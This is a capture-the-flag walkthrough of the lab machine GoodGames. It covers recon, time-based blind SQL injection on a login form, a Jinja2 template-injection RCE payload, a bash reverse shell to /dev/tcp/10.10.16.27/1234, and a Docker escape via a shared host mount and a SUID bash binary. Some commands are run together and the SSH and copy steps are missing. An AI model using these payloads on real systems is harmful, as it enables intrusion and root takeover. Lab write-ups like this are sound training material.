A Linux machine where weak database security and an internal admin panel lead to a foothold, with a creative Docker escape to reach the host as root.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13
$ ip=10.129.6.87; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-10 14:22 -0400 Nmap scan report for 10.129.6.87 Host is up (0.13s latency).
PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2) |_http-title: GoodGames | Community and Store |_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds
One port open: 80/tcp running a Python Werkzeug application.
Foothold
Hosts File
The site footer reveals the domain goodgames.htb:
1
$ echo'10.129.6.87 goodgames.htb' | sudotee -a /etc/hosts
SQL Injection on the Login Form
The site is a gaming blog with user registration and login. Directory and subdomain enumeration with ffuf returns nothing useful. However, sqlmap identifies the login form’s email parameter as injectable:
<--SNIP--> [15:06:46] [INFO] target URL appears to be UNION injectable with 4 columns injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y [15:07:04] [INFO] checking if the injection point on POST parameter 'email' is a false positive POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 149 HTTP(s) requests: --- Parameter: email (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=1' AND (SELECT 2708 FROM (SELECT(SLEEP(5)))UYQq) AND 'sACi'='sACi&password=2 --- [15:07:22] [INFO] the back-end DBMS is MySQL [15:07:22] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions back-end DBMS: MySQL >= 5.0.12 [15:07:25] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/goodgames.htb'
Logging in as admin:superadministrator reveals a cog icon that redirects to internal-administration.goodgames.htb. Add the subdomain to /etc/hosts:
1
$ echo'10.129.6.87 internal-administration.goodgames.htb' | sudotee -a /etc/hosts
The same credentials work here too. The subdomain hosts a Flask admin dashboard. The profile settings page allows changing the display name — a classic SSTI test point for Jinja2.
Setting the name to {{1+1}} renders as 2, confirming SSTI. Using the Vulhub SSTI PoC to verify RCE:
1 2 3 4 5 6 7 8 9 10 11
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
The name field renders uid=0(root) gid=0(root) groups=0(root), confirming we’re executing as root inside the application.
Reverse Shell
Start a listener:
1
$ nc -lnvp 1234
Inject the reverse shell payload into the name field:
1 2 3 4 5 6 7 8 9 10 11
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if'eval'in b.keys() %} {{ b['eval']('__import__("os").popen("bash -c \\"bash -i >& /dev/tcp/10.10.16.27/1234 0>&1\\"").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
A shell connects. The user flag is accessible from here.
Privilege Escalation
Docker Escape via Shared Mount and SUID
The presence of /.dockerenv confirms we’re inside a Docker container:
1 2
root@3a453ab39d3d:/# ls /.dockerenv -la -rwxr-xr-x 1 root root 0 Nov 5 2021 /.dockerenv
Inspecting mounted filesystems reveals that the host’s /dev/sda1 is mounted read-write into the container at /home/augustus:
1 2 3 4 5 6
root@3a453ab39d3d:/backend# mount | grep -E "(ext4|ext3|xfs|overlay)" overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work) /dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro) /dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro) /dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro) /dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
This means anything written to /home/augustus inside the container is reflected on the real host filesystem. The container’s IP is 172.19.0.2, so the host gateway is likely 172.19.0.1. A quick ping confirms it:
1 2 3 4 5 6 7
root@3a453ab39d3d:/backend# ping 172.19.0.1 -c 1 PING 172.19.0.1 (172.19.0.1) 56(84) bytes of data. 64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.216 ms
--- 172.19.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.216/0.216/0.216/0.000 ms
A port scan from inside the container confirms SSH is open on the host:
1 2 3
root@3a453ab39d3d:/backend# for port in {1..65535}; doecho > /dev/tcp/172.19.0.1/$port && echo"$port open"; done 2>/dev/null 22 open 80 open
Attempting a direct SSH connection fails because the shell has no usable TTY. Using script as a workaround allocates a pseudo-terminal and allows the password prompt to appear:
Back in the container shell, we run as root — so we can set the SUID bit and change ownership of the copied binary. Because /home/augustus is a shared mount, these changes are immediately reflected on the host:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 10 21:33:29 2026 from 172.19.0.2 augustus@GoodGames:~$ ./sexybash -p sexybash-5.1#
The root flag is at /root/root.txt.
Vaultex
Version 1.0
Theme repository
View the source code, report issues, and contribute to the theme on GitHub.